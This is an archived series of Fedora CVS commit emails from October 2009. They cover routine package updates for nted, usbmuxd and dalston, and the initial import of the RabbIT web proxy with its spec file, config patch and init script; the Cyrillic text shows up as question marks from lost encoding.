- Update to 1.9.2



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/nted/devel/.cvsignore,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- .cvsignore	5 Oct 2009 15:36:16 -0000	1.14
+++ .cvsignore	31 Oct 2009 10:10:10 -0000	1.15
@@ -1 +1 @@
-nted-1.8.6.tar.gz
+nted-1.9.2.tar.gz


Index: nted.spec
===================================================================
RCS file: /cvs/pkgs/rpms/nted/devel/nted.spec,v
retrieving revision 1.22
retrieving revision 1.23
diff -u -p -r1.22 -r1.23
--- nted.spec	5 Oct 2009 15:36:16 -0000	1.22
+++ nted.spec	31 Oct 2009 10:10:11 -0000	1.23
@@ -14,7 +14,7 @@
 
 
 Name:           nted
-Version:        1.8.6
+Version:        1.9.2
 Release:        1%{?dist}
 Summary:        Musical score editor
 Summary(de):    Partitureditor
@@ -24,7 +24,7 @@ Group:          Applications/Publishing
 # Right now, font is GPL, but eventually supposed to become GPL+font exception.
 License:        GPLv2+ and GFDL
 URL:            http://vsr.informatik.tu-chemnitz.de/staff/jan/nted/nted.xhtml
-Source0:        http://vsr.informatik.tu-chemnitz.de/staff/jan/nted/nted-%{version}.tar.gz
+Source0:        http://vsr.informatik.tu-chemnitz.de/staff/jan/nted/sources/nted-%{version}.tar.gz
 Source1:        nted.desktop
 #Source2:        %{name}-%{family}-fontconfig.conf
 BuildRoot:      %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
@@ -125,6 +125,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Sat Oct 31 2009 Hans Ulrich Niedermann <hun at n-dimensional.de> - 1.9.2-1
+- Update to 1.9.2
+
 * Mon Oct  5 2009 Hans Ulrich Niedermann <hun at n-dimensional.de> - 1.8.6-1
 - 1.8.6 release
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/nted/devel/sources,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- sources	5 Oct 2009 15:36:16 -0000	1.14
+++ sources	31 Oct 2009 10:10:11 -0000	1.15
@@ -1 +1 @@
-07eb469b1bfc19d807622ca2dc4c529c  nted-1.8.6.tar.gz
+361c8112c60a9d5bb276ad79c534926b  nted-1.9.2.tar.gz



From pbrobinson at fedoraproject.org  Sat Oct 31 10:10:59 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Sat, 31 Oct 2009 10:10:59 +0000 (UTC)
Subject: rpms/usbmuxd/devel .cvsignore, 1.3, 1.4 sources, 1.3,
	1.4 usbmuxd.spec, 1.4, 1.5
Message-ID: <20091031101059.5D8D711C0086@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/usbmuxd/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19911

Modified Files:
	.cvsignore sources usbmuxd.spec 
Log Message:
- New 1.0.0-rc2 test release


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/usbmuxd/devel/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	29 Oct 2009 11:23:18 -0000	1.3
+++ .cvsignore	31 Oct 2009 10:10:58 -0000	1.4
@@ -1 +1 @@
-usbmuxd-1.0.0-rc1.tar.bz2
+usbmuxd-1.0.0-rc2.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/usbmuxd/devel/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	29 Oct 2009 11:23:18 -0000	1.3
+++ sources	31 Oct 2009 10:10:59 -0000	1.4
@@ -1 +1 @@
-fd5b8a4a368776ab4cc96d0805eca757  usbmuxd-1.0.0-rc1.tar.bz2
+996d5ec74fafae9d2fca0c0d7a75ba71  usbmuxd-1.0.0-rc2.tar.bz2


Index: usbmuxd.spec
===================================================================
RCS file: /cvs/pkgs/rpms/usbmuxd/devel/usbmuxd.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- usbmuxd.spec	29 Oct 2009 11:36:50 -0000	1.4
+++ usbmuxd.spec	31 Oct 2009 10:10:59 -0000	1.5
@@ -1,6 +1,6 @@
 Name:		usbmuxd
 Version:	1.0.0
-Release:	0.2.rc1%{?dist}
+Release:	0.1.rc2%{?dist}
 Summary:	Daemon for communicating with Apple's iPod Touch and iPhone
 
 Group:		Applications/System
@@ -8,8 +8,7 @@ Group:		Applications/System
 License:	GPLv3+ or GPLv2+ and LGPLv2+
 URL:		http://cgit.pims.selfip.net/usbmuxd/
 #Source0:	http://cgit.pims.selfip.net/%{name}/snapshot/%{name}-%{version}.tar.gz
-Source0:	%{name}-1.0.0-rc1.tar.bz2
-Patch0:		usbmuxd-fix64.patch
+Source0:	%{name}-1.0.0-rc2.tar.bz2
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:	libusb1-devel
@@ -30,8 +29,7 @@ Requires: pkgconfig
 Files for development with %{name}.
 
 %prep
-%setup -q -n %{name}-1.0.0-rc1
-%patch0 -p1 -b .fix64
+%setup -q -n %{name}-1.0.0-rc2
 
 %build
 export CMAKE_PREFIX_PATH=/usr
@@ -67,6 +65,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/pkgconfig/libusbmuxd.pc
 
 %changelog
+* Sat Oct 31 2009 Peter Robinson <pbrobinson at gmail.com> 1.0.0-0.1.rc2
+- New 1.0.0-rc2 test release
+
 * Thu Oct 29 2009 Peter Robinson <pbrobinson at gmail.com> 1.0.0-0.2.rc1
 - Add patch to fix install of 64 bit libs
 



From ndim at fedoraproject.org  Sat Oct 31 10:11:27 2009
From: ndim at fedoraproject.org (Hans Ulrich Niedermann)
Date: Sat, 31 Oct 2009 10:11:27 +0000 (UTC)
Subject: rpms/nted/F-12 .cvsignore, 1.14, 1.15 nted.spec, 1.22, 1.23 sources,
	1.14, 1.15
Message-ID: <20091031101127.3A9F311C0086@cvs1.fedora.phx.redhat.com>

Author: ndim

Update of /cvs/pkgs/rpms/nted/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20148

Modified Files:
	.cvsignore nted.spec sources 
Log Message:
* Sat Oct 31 2009 Hans Ulrich Niedermann <hun at n-dimensional.de> - 1.9.2-1
- Update to 1.9.2



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/nted/F-12/.cvsignore,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- .cvsignore	5 Oct 2009 18:18:19 -0000	1.14
+++ .cvsignore	31 Oct 2009 10:11:26 -0000	1.15
@@ -1 +1 @@
-nted-1.8.6.tar.gz
+nted-1.9.2.tar.gz


Index: nted.spec
===================================================================
RCS file: /cvs/pkgs/rpms/nted/F-12/nted.spec,v
retrieving revision 1.22
retrieving revision 1.23
diff -u -p -r1.22 -r1.23
--- nted.spec	5 Oct 2009 18:18:19 -0000	1.22
+++ nted.spec	31 Oct 2009 10:11:26 -0000	1.23
@@ -14,7 +14,7 @@
 
 
 Name:           nted
-Version:        1.8.6
+Version:        1.9.2
 Release:        1%{?dist}
 Summary:        Musical score editor
 Summary(de):    Partitureditor
@@ -24,7 +24,7 @@ Group:          Applications/Publishing
 # Right now, font is GPL, but eventually supposed to become GPL+font exception.
 License:        GPLv2+ and GFDL
 URL:            http://vsr.informatik.tu-chemnitz.de/staff/jan/nted/nted.xhtml
-Source0:        http://vsr.informatik.tu-chemnitz.de/staff/jan/nted/nted-%{version}.tar.gz
+Source0:        http://vsr.informatik.tu-chemnitz.de/staff/jan/nted/sources/nted-%{version}.tar.gz
 Source1:        nted.desktop
 #Source2:        %{name}-%{family}-fontconfig.conf
 BuildRoot:      %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
@@ -125,6 +125,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Sat Oct 31 2009 Hans Ulrich Niedermann <hun at n-dimensional.de> - 1.9.2-1
+- Update to 1.9.2
+
 * Mon Oct  5 2009 Hans Ulrich Niedermann <hun at n-dimensional.de> - 1.8.6-1
 - 1.8.6 release
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/nted/F-12/sources,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- sources	5 Oct 2009 18:18:20 -0000	1.14
+++ sources	31 Oct 2009 10:11:26 -0000	1.15
@@ -1 +1 @@
-07eb469b1bfc19d807622ca2dc4c529c  nted-1.8.6.tar.gz
+361c8112c60a9d5bb276ad79c534926b  nted-1.9.2.tar.gz



From ndim at fedoraproject.org  Sat Oct 31 10:11:28 2009
From: ndim at fedoraproject.org (Hans Ulrich Niedermann)
Date: Sat, 31 Oct 2009 10:11:28 +0000 (UTC)
Subject: rpms/nted/F-11 .cvsignore, 1.14, 1.15 nted.spec, 1.20, 1.21 sources,
	1.14, 1.15
Message-ID: <20091031101128.A659711C0086@cvs1.fedora.phx.redhat.com>

Author: ndim

Update of /cvs/pkgs/rpms/nted/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20161

Modified Files:
	.cvsignore nted.spec sources 
Log Message:
* Sat Oct 31 2009 Hans Ulrich Niedermann <hun at n-dimensional.de> - 1.9.2-1
- Update to 1.9.2



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/nted/F-11/.cvsignore,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- .cvsignore	6 Oct 2009 12:10:19 -0000	1.14
+++ .cvsignore	31 Oct 2009 10:11:28 -0000	1.15
@@ -1 +1 @@
-nted-1.8.6.tar.gz
+nted-1.9.2.tar.gz


Index: nted.spec
===================================================================
RCS file: /cvs/pkgs/rpms/nted/F-11/nted.spec,v
retrieving revision 1.20
retrieving revision 1.21
diff -u -p -r1.20 -r1.21
--- nted.spec	6 Oct 2009 12:10:19 -0000	1.20
+++ nted.spec	31 Oct 2009 10:11:28 -0000	1.21
@@ -14,7 +14,7 @@
 
 
 Name:           nted
-Version:        1.8.6
+Version:        1.9.2
 Release:        1%{?dist}
 Summary:        Musical score editor
 Summary(de):    Partitureditor
@@ -24,7 +24,7 @@ Group:          Applications/Publishing
 # Right now, font is GPL, but eventually supposed to become GPL+font exception.
 License:        GPLv2+ and GFDL
 URL:            http://vsr.informatik.tu-chemnitz.de/staff/jan/nted/nted.xhtml
-Source0:        http://vsr.informatik.tu-chemnitz.de/staff/jan/nted/nted-%{version}.tar.gz
+Source0:        http://vsr.informatik.tu-chemnitz.de/staff/jan/nted/sources/nted-%{version}.tar.gz
 Source1:        nted.desktop
 #Source2:        %{name}-%{family}-fontconfig.conf
 BuildRoot:      %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
@@ -125,12 +125,18 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Sat Oct 31 2009 Hans Ulrich Niedermann <hun at n-dimensional.de> - 1.9.2-1
+- Update to 1.9.2
+
 * Mon Oct  5 2009 Hans Ulrich Niedermann <hun at n-dimensional.de> - 1.8.6-1
 - 1.8.6 release
 
 * Sat Sep 26 2009 Hans Ulrich Niedermann <hun at n-dimensional.de> - 1.8.1-1
 - update to upstream's nted-1.8.1 release
 
+* Wed Sep 23 2009 Orcan Ogetbil <oget[DOT]fedora[AT]gmail[DOT]com> - 1.6.2-2
+- Update desktop file according to F-12 FedoraStudio feature
+
 * Mon Jul 27 2009 Hans Ulrich Niedermann <hun at n-dimensional.de> - 1.6.2-1
 - update to bugfix release 1.6.2
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/nted/F-11/sources,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- sources	6 Oct 2009 12:10:19 -0000	1.14
+++ sources	31 Oct 2009 10:11:28 -0000	1.15
@@ -1 +1 @@
-07eb469b1bfc19d807622ca2dc4c529c  nted-1.8.6.tar.gz
+361c8112c60a9d5bb276ad79c534926b  nted-1.9.2.tar.gz



From pbrobinson at fedoraproject.org  Sat Oct 31 10:21:39 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Sat, 31 Oct 2009 10:21:39 +0000 (UTC)
Subject: rpms/dalston/devel dalston.spec,1.4,1.5
Message-ID: <20091031102140.03F0D11C0086@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/dalston/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22523

Modified Files:
	dalston.spec 
Log Message:
- update release tag


Index: dalston.spec
===================================================================
RCS file: /cvs/pkgs/rpms/dalston/devel/dalston.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- dalston.spec	29 Oct 2009 18:02:59 -0000	1.4
+++ dalston.spec	31 Oct 2009 10:21:39 -0000	1.5
@@ -7,7 +7,7 @@
 
 Name:          dalston
 Version:       0.1.11
-Release:       2%{?dist}
+Release:       Z%{?dist}
 Summary:       Moblin System Information Icons
 
 Group:         System Environment/Libraries



From hubbitus at fedoraproject.org  Sat Oct 31 10:22:19 2009
From: hubbitus at fedoraproject.org (Pavel Alexeev)
Date: Sat, 31 Oct 2009 10:22:19 +0000 (UTC)
Subject: rpms/RabbIT/F-12 RabbIT-4.0.fedora-config-path.patch, NONE,
	1.1 RabbIT.spec, NONE, 1.1 import.log, NONE, 1.1 rabbit.init,
	NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091031102219.7299B11C0086@cvs1.fedora.phx.redhat.com>

Author: hubbitus

Update of /cvs/pkgs/rpms/RabbIT/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22737/F-12

Modified Files:
	.cvsignore sources 
Added Files:
	RabbIT-4.0.fedora-config-path.patch RabbIT.spec import.log 
	rabbit.init 
Log Message:
Initial push RabbIT into Fedora.

RabbIT-4.0.fedora-config-path.patch:
 rabbit.conf |   10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

--- NEW FILE RabbIT-4.0.fedora-config-path.patch ---
diff -NaurEbBH conf.orig/rabbit.conf conf/rabbit.conf
--- conf.orig/rabbit.conf	2009-01-11 21:32:34.000000000 +0300
+++ conf/rabbit.conf	2009-03-29 16:02:05.000000000 +0400
@@ -49,10 +49,10 @@
 # is used or you can set the system property 
 # "java.util.logging.config.file" to configure your own loggers/handlers.
 #
-access_log=logs/access_log.%g
+access_log=/var/log/RabbIT/access_log.%g
 access_size_limit=10 # in MB
 access_num_files=100
-error_log=logs/error_log.%g
+error_log=/var/log/RabbIT/error_log.%g
 error_size_limit=1 # in MB
 error_num_files=10
 
@@ -242,7 +242,7 @@
 # This is a filter to allow simple accesscontrol.
 
 # this file store the available ip-ranges that can use the proxy.
-accessfile=conf/access
+accessfile=/etc/RabbIT/access
 
 
 [rabbit.filter.HttpBaseFilter]
@@ -254,7 +254,7 @@
 
 # authenticate users (basic method only) with this user-password file.
 # this is used for meta/admin access...
-userfile=conf/users
+userfile=/etc/RabbIT/users
 
 # If you set cookieid to "true" rabbit will not cache resources
 # that seem to use cookie based identification. This should only 
@@ -332,7 +332,7 @@
 # This filter is not enabled by default, add it to 
 # httpinfilters if you want it.
 # allowed user..
-userfile=conf/allowed
+userfile=/etc/RabbIT/allowed
 
 
 [rabbit.filter.SQLProxyAuth]   


--- NEW FILE RabbIT.spec ---
Name:		RabbIT
%define lname %( echo %{name} | tr 'A-Z' 'a-z' )

Version:		4.1
Release:		9%{?dist}
Summary:		Proxy for a faster web
Summary(ru):	?????? ??? ???????? ???????? ? ????
#By example of squid
Group:		System Environment/Daemons
License:		BSD
URL:			http://www.khelekore.org/rabbit/
Source0:		http://www.khelekore.org/rabbit/%{lname}%{version}-src.tar.gz
#Startup scrip to start/stop daemon. Self produced.
Source1:		%{lname}.init
BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires:	java-devel >= 1:1.6.0
BuildRequires:	jpackage-utils

Requires:		java >= 1:1.6.0, jpackage-utils
Requires:		ImageMagick, dnsjava

#Adjust only used paths in default config.
Patch0:		RabbIT-4.0.fedora-config-path.patch

Requires(pre):		/usr/sbin/useradd
Requires(post):	chkconfig
Requires(preun):	chkconfig
Requires(postun):	/usr/sbin/userdel

BuildArchitectures:	noarch

%description
RabbIT is a web proxy that speeds up web surfing over slow links by doing: 
	o Compress text pages to gzip streams. This reduces size by up to 75% 
	o Compress images to 10% jpeg. This reduces size by up to 95% 
	o Remove advertising 
	o Remove background images 
	o Cache filtered pages and images 
	o Uses keepalive if possible 
	o Easy and powerful configuration 
	o Multi threaded solution written in java 
	o Modular and easily extended 
	o Complete HTTP/1.1 compliance

%description -l ru
RabbIT ???? ???-?????? ??????? ???????? ??? ??????? ????? ????????? ??????.
???????? ??????????? ? ???????????:
	o ??????? (gzip) ??? ????????? ????????. ??? ????????? ?? ?????? ?? 75%
	o ??????? ???????? ? jpeg ? 10% ?????????. ??? ????????? ?? ?????? ?? 95%!
	o ??????? ???????
	o ??????? ??????? ????????
	o ???????? ???????? ? ????????
	o ???? ????????, ?????????? ?????????? ?????????? (keepalive)
	o ???????, ?? ?????? ?????????
	o ??????????????, ??????? ?? Java ? ???????? ??????????? ?????.
	o ????????? ? ????????????????
	o ?????? ????????? ????????? HTTP/1.1.

%prep
%setup -q -n %{lname}4

%patch0 -p0 -b .conf-path


%build
# https://fedoraproject.org/wiki/Packaging/Java#class-path-in-manifest
sed -i '/class-path/I d' Manifest.mf
#Adjust path ( https://fedoraproject.org/wiki/Packaging/Java#build-classpath ):
#? sed -i "s#../external_libs/dnsjava-2.[[:digit:]].[[:digit:]].jar#$(build-classpath dnsjava)#" Manifest.mf

make %{?_smp_mflags}

#Make script-wrapper
cat << HEREDOC > %{name}
#!/bin/sh
java -jar %{_javadir}/%{name}-%{version}.jar -f %{_sysconfdir}/%{name}/%{name}.conf
HEREDOC

# Author say what it is iso-8859-1
iconv -f iso-8859-1 -t UTF-8 htdocs/LICENSE.txt > htdocs/LICENSE.utf-8.txt
touch --reference htdocs/LICENSE.txt htdocs/LICENSE.utf-8.txt
iconv -f iso-8859-1 -t UTF-8 LICENSE > LICENSE.utf-8
touch --reference LICENSE LICENSE.utf-8
mv htdocs/LICENSE.utf-8.txt htdocs/LICENSE.txt
mv LICENSE.utf-8 LICENSE

%install
rm -rf %{buildroot}
install -d %{buildroot}/%{_javadir}
install -m644 jars/rabbit4.jar %{buildroot}/%{_javadir}/%{name}-%{version}.jar
install -d %{buildroot}/%{_bindir}
install -m755 %{name} %{buildroot}/%{_bindir}/%{name}

install -d %{buildroot}/%{_sysconfdir}/%{name}
install -d %{buildroot}/%{_initrddir}/

sed 's#{{HTDOCS}}#%{_datadir}/%{name}#' %{SOURCE1} > %{buildroot}/%{_initrddir}/%{lname}

install -d %{buildroot}/%{_datadir}/%{name}/htdocs
cp -r htdocs/* %{buildroot}/%{_datadir}/%{name}/htdocs/

install -d %{buildroot}/%{_localstatedir}/log/%{name}
#install -d %{buildroot}/%{_localstatedir}/run/%{name}.pid

touch %{buildroot}/%{_localstatedir}/log/%{name}/main_run.log

# We exclude rabbit.conf.orig, so, we can't do just install whole directory
install -m644 conf/access		%{buildroot}/%{_sysconfdir}/%{name}/
install -m644 conf/allowed		%{buildroot}/%{_sysconfdir}/%{name}/
install -m644 conf/cache_only.conf	%{buildroot}/%{_sysconfdir}/%{name}/
#install -m644 conf/empty.conf		%{buildroot}/%{_sysconfdir}/%{name}/
install -m644 conf/nocache.conf	%{buildroot}/%{_sysconfdir}/%{name}/
install -m644 conf/%{lname}.conf	%{buildroot}/%{_sysconfdir}/%{name}/%{name}.conf
install -m644 conf/users			%{buildroot}/%{_sysconfdir}/%{name}/

%pre
# Add the "rabbit" user
/usr/sbin/useradd -c "%{lname}" -s /sbin/nologin -r -d "%{_docdir}/%{name}-%{version}" %{lname} 2> /dev/null || :

%post
# Register service
/sbin/chkconfig --add %{lname}

%preun
if [ $1 = 0 ]; then
	/sbin/service %{lname} stop > /dev/null 2>&1
	/sbin/chkconfig --del %{lname}
fi

%postun
/usr/sbin/userdel %{lname}

%clean
rm -rf %{buildroot}

%files
%defattr(-,root,root,-)
%attr(755,root,root) %{_initrddir}/%{lname}
%doc ChangeLog README Help.txt LICENSE
%{_datadir}/%{name}/
%{_javadir}/%{name}-%{version}.jar
%attr(755,%{lname},root) %{_bindir}/%{name}
%dir %attr(755,%{lname},root) %{_localstatedir}/log/%{name}
%attr(755,%{lname},root) %ghost %{_localstatedir}/log/%{name}/main_run.log
%config(noreplace) %{_sysconfdir}/%{name}/access
%config(noreplace) %{_sysconfdir}/%{name}/allowed
%config(noreplace) %{_sysconfdir}/%{name}/cache_only.conf
#%config(noreplace) %{_sysconfdir}/%{name}/empty.conf
%config(noreplace) %{_sysconfdir}/%{name}/nocache.conf
%config(noreplace) %{_sysconfdir}/%{name}/%{name}.conf
%config(noreplace) %{_sysconfdir}/%{name}/users

%changelog
* Sat Aug 15 2009 Pavel Alexeev <Pahan at Hubbitus.info> - 4.1-9
- Step to version 4.1.
- Robert Oloffson kindly change version enumeration by my request, now tarball have version and release.
- Own log dir also by %%{lname} user

* Sun Aug 9 2009 Pavel Alexeev <Pahan at Hubbitus.info> - 4.0-8
- Step to new version 4.0
- Use %%{name} in Source url
- Add %%ghost %%{_localstatedir}/log/%%{name}/main_run.log
- Own as rabbit user only binary file, not all package.
- Remove name from summary.
- Add russian localized Summary and description.
- Own %%{_datadir}/%%{name}/ instead of %%{_datadir}/%%{name}/htdocs
- Source1 RabbIT.init renamed to rabbit.init.
- Remade Patch0: RabbIT-3.17.fedora-config-path.patch -> RabbIT-4.0.fedora-config-path.patch
- Delete TODO from docs, it is not present anymore.
- Add lsb # Default-Start: 2 3 4 5, # Default-Stop: 0 1 6 to init file to do rpmlint happy. Turn pid and lock files to lowercase.
- Delete classpath from manifest.
- Default disable service running: --level -

* Mon Apr 27 2009 Pavel Alexeev <Pahan at Hubbitus.info> - 3.18-7
- Accidentally leaved httpd instead on %%name in %%post script fixed.
- Path of http-root files changed from %%{_docdir}/%%{name}-%%{version} to %%{_datadir}/%%{name}

* Sun Apr 12 2009 Pavel Alexeev <Pahan at Hubbitus.info> - 3.18-6
- In review ( https://bugzilla.redhat.com/show_bug.cgi?id=492810 ) was tald pack dnsjava separate. Do it:
	o Remove bundled jar-package
	o Cutoff classpath from manifest
	o Add Requires dnsjava

* Wed Apr 01 2009 Pavel Alexeev <Pahan at Hubbitus.info> - 3.18-5
- New version 3.18

* Tue Mar 31 2009 Pavel Alexeev <Pahan at Hubbitus.info> - 3.17-4
- After aontact author, now I known encoding of License (iso-8859-1) and recode it.
- Exclude /etc/RabbIT/empty.conf

* Sun Mar 29 2009 Pavel Alexeev <Pahan at Hubbitus.info> - 3.17-3
- Add %%doc htdocs
- Add run from another user, not root! For that:
	o Add Requires(pre): /usr/sbin/useradd
	o Requires(postun): /usr/sbin/userdel
	o In pre and postun sections add/delete user rabbit.
- Add %%{_localstatedir}/log/%%{name} in package.
- Inspired by rpmlint:
	o %%{_initrddir}/%%{name} renamed to %%{_initrddir}/%%{lname}

* Sun Mar 29 2009 Pavel Alexeev <Pahan at Hubbitus.info> - 3.17-2
- Add registration of service with chkconfig. Add it into Requires(post/preun), and according sections.
- BuildArchitectures: noarch
- Install also %%{_javadir}/dnsjava-2.0.6.jar

* Sun Mar 29 2009 Pavel Alexeev <Pahan at Hubbitus.info> - 3.17-1
- Initial spec file.

--- NEW FILE import.log ---
RabbIT-4_1-9_fc11:F-12:RabbIT-4.1-9.fc11.src.rpm:1256983882


--- NEW FILE rabbit.init ---
#!/bin/bash
#
# rabbit        Startup script for the RabbIT proxy server
#
# chkconfig: - 85 15
# description: RabbIT is a web proxy that speeds up web surfing over slow links by doing: 
#	o Compress text pages to gzip streams. This reduces size by up to 75% 
#	o Compress images to 10% jpeg. This reduces size by up to 95% 
#	o Remove advertising 
#	o Remove background images 
#	o Cache filtered pages and images 
#	o Uses keepalive if possible 
#	o Easy and powerful configuration 
#	o Multi threaded solution written in java 
#	o Modular and easily extended 
#	o Complete HTTP/1.1 compliance
# config: /etc/RabbIT/access
# config: /etc/RabbIT/allowed
# config: /etc/RabbIT/cache_only.conf
# config: /etc/RabbIT/empty.conf
# config: /etc/RabbIT/nocache.conf
# config: /etc/RabbIT/rabbit.conf
# config: /etc/RabbIT/users
# pidfile: /var/run/RabbIT.pid
#
### BEGIN INIT INFO
# Provides: rabbit
# Required-Start: $local_fs $remote_fs $network $named
# Required-Stop: $local_fs $remote_fs $network
# Should-Start: distcache
# Default-Stop: 0 1 6
# Short-Description: Start and stop the RabbIT proxy server
# Description: RabbIT is a web proxy that speeds up web surfing over slow links by doing: 
#	o Compress text pages to gzip streams. This reduces size by up to 75% 
#	o Compress images to 10% jpeg. This reduces size by up to 95% 
#	o Remove advertising 
#	o Remove background images 
#	o Cache filtered pages and images 
#	o Uses keepalive if possible 
#	o Easy and powerful configuration 
#	o Multi threaded solution written in java 
#	o Modular and easily extended 
#	o Complete HTTP/1.1 compliance
### END INIT INFO

# Source function library.
. /etc/rc.d/init.d/functions

bin='/usr/bin/RabbIT'
prog='RabbIT proxy'
pidfile=${PIDFILE-/var/run/rabbit.pid}
lockfile=${LOCKFILE-/var/lock/subsys/rabbit}
HTDOCS_DIR="{{HTDOCS}}"
USER='rabbit'
RETVAL=0

start(){
	echo -n $"Starting $prog: "
	daemon +15 --pidfile="$pidfile" --user="$USER" sh -c "cd \"$HTDOCS_DIR\"; exec \"$bin\" 2>&1 >> /var/log/RabbIT/main_run.log &"
	RETVAL=$?
	echo
		if [ 0 -eq $RETVAL ]; then
		touch ${lockfile}
		#Pid of parent sh script
		p=$( __pids_pidof "$bin" )
			[ -n $p ] && echo "Error: pid not found" && exit 1
		# Pid of child. Real java process!!! Idea from: http://209.85.129.132/search?q=cache:QnI67WuZkRcJ:www.experts-exchange.com/Programming/System/Linux/Q_20943601.html+kill+all+childs&cd=14&hl=en&ct=clnk
		p=$(ps axef -o ppid,pid | sed -nr "s#^$p (.+)\$#\1#p")
		echo $p > "$pidfile"
		fi
	return $RETVAL
}

stop(){
	echo -n $"Stopping $prog: "
	killproc -p ${pidfile}
	RETVAL=$?
	echo
	[ $RETVAL = 0 ] && rm -f ${lockfile} ${pidfile}
}

# See how we were called.
case "$1" in
  start)
	start
	;;
  stop)
	stop
	;;
  status)
        status $bin
	RETVAL=$?
	;;
  restart)
	stop
	start
	;;
  condrestart)
	if [ -f ${pidfile} ] ; then
		stop
		start
	fi
	;;
  *)
	echo $"Usage: $prog {start|stop|restart|condrestart|status}"
	RETVAL=3
esac

exit $RETVAL

Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/RabbIT/F-12/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	29 Oct 2009 00:04:58 -0000	1.1
+++ .cvsignore	31 Oct 2009 10:22:19 -0000	1.2
@@ -0,0 +1 @@
+rabbit4.1-src.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/RabbIT/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	29 Oct 2009 00:04:59 -0000	1.1
+++ sources	31 Oct 2009 10:22:19 -0000	1.2
@@ -0,0 +1 @@
+ee3ae82bf8757102aa748d2feed38727  rabbit4.1-src.tar.gz



From pbrobinson at fedoraproject.org  Sat Oct 31 10:24:27 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Sat, 31 Oct 2009 10:24:27 +0000 (UTC)
Subject: rpms/dalston/devel dalston.spec,1.5,1.6
Message-ID: <20091031102428.0757511C0086@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/dalston/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23279

Modified Files:
	dalston.spec 
Log Message:
- update release tag


Index: dalston.spec
===================================================================
RCS file: /cvs/pkgs/rpms/dalston/devel/dalston.spec,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- dalston.spec	31 Oct 2009 10:21:39 -0000	1.5
+++ dalston.spec	31 Oct 2009 10:24:27 -0000	1.6
@@ -7,7 +7,7 @@
 
 Name:          dalston
 Version:       0.1.11
-Release:       Z%{?dist}
+Release:       1%{?dist}
 Summary:       Moblin System Information Icons
 
 Group:         System Environment/Libraries



From hubbitus at fedoraproject.org  Sat Oct 31 10:32:50 2009
From: hubbitus at fedoraproject.org (Pavel Alexeev)
Date: Sat, 31 Oct 2009 10:32:50 +0000 (UTC)
Subject: rpms/RabbIT/EL-5 RabbIT-4.0.fedora-config-path.patch, NONE,
	1.1 RabbIT.spec, NONE, 1.1 import.log, NONE, 1.1 rabbit.init,
	NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091031103250.1F48C11C0086@cvs1.fedora.phx.redhat.com>

Author: hubbitus

Update of /cvs/pkgs/rpms/RabbIT/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25781/EL-5

Modified Files:
	.cvsignore sources 
Added Files:
	RabbIT-4.0.fedora-config-path.patch RabbIT.spec import.log 
	rabbit.init 
Log Message:
Initial push RabbIT into Fedora.

RabbIT-4.0.fedora-config-path.patch:
 rabbit.conf |   10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

--- NEW FILE RabbIT-4.0.fedora-config-path.patch ---
diff -NaurEbBH conf.orig/rabbit.conf conf/rabbit.conf
